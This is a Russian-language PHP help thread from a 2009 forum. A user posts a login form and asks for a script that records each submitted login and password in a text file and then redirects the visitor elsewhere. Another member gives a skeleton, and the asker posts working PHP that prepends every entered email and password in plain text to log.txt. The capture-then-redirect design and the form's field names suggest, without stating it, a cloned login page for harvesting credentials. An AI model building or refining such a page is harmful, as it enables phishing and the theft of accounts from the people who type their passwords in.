[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Прием данных POST
кзлдур
есть форма



<form action="" method="post">
<
div>
Логин:<br><input id="email" maxlength="100" style="width: 170px;" name="email" value="" type="text" size="20"><br>
Пароль:<br><input id="password" value="" style="width: 170px;" type="password" size="20" name="password"><br><br>
<
input id="field_remember" type="checkbox" name="st.remember"><label for="field_remember">запомнить</label>
<
br><br><input value="Войти" type="submit" name="go">
</
div>
</
form>


как написать скрипт, чтобы принимал значения, создавал новый текстовый файл с именем логина и записывал туда принятые данные. в ответ же выкидывал на index2.html

Заранее спасибо, а то у меня два дня ничего не получается smile.gif



Спустя 1 час, 8 минут, 37 секунд (20.12.2009 - 15:37) waldicom написал(а):
if(isset($_POST['go'])){
file_put_contents(<ЗДЕСЬ ДУМАЕМ САМИ>);
header(<ЗДЕСЬ ДУМАЕМ САМИ>);
}

Спустя 8 часов, 54 минуты, 31 секунда (21.12.2009 - 00:31) кзлдур написал(а):
<?php
@$login = $_REQUEST['email'];
@$pwd = $_REQUEST['password'];
@$file_name = $_REQUEST['email'];
$filename = "log.txt";
$ini_handle = fopen($filename, "r");
$ini_contents = fread($ini_handle, filesize($filename));
fclose($ini_handle);
$handle = fopen($filename, "w+");
$writestring = "$login \n $pwd \n" . $ini_contents;
if (fwrite($handle, $writestring) === false) echo "Cannot write to text file. <br />";
fclose($handle);
?>



в данном случае кроме косяка с ненужным переносом строк при первом открытии страницы все нормально должно работать?
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.